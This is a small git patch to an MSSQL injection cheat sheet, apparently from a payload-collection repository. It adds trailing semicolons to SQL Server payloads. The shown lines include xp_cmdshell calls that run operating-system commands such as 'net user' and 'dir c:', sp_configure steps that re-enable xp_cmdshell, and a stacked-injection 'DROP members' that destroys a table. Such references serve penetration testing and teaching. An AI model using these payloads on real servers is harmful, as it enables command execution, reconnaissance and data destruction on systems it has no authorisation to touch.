From 7068cb6edcb81445889d4952e7571619179c956b Mon Sep 17 00:00:00 2001 From: marcan2020 Date: Tue, 29 Jan 2019 15:25:25 -0500 Subject: [PATCH] Update MSSQL Command execution --- SQL injection/MSSQL Injection.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/SQL injection/MSSQL Injection.md b/SQL injection/MSSQL Injection.md index 035f075..9510870 100644 --- a/SQL injection/MSSQL Injection.md +++ b/SQL injection/MSSQL Injection.md @@ -124,17 +124,17 @@ ProductID=1; DROP members-- ```sql EXEC xp_cmdshell "net user"; -EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:' -EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1' +EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'; +EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1'; ``` If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005) ```sql -EXEC sp_configure 'show advanced options',1 -RECONFIGURE -EXEC sp_configure 'xp_cmdshell',1 -RECONFIGURE +EXEC sp_configure 'show advanced options',1; +RECONFIGURE; +EXEC sp_configure 'xp_cmdshell',1; +RECONFIGURE; ``` ## MSSQL Make user DBA (DB admin)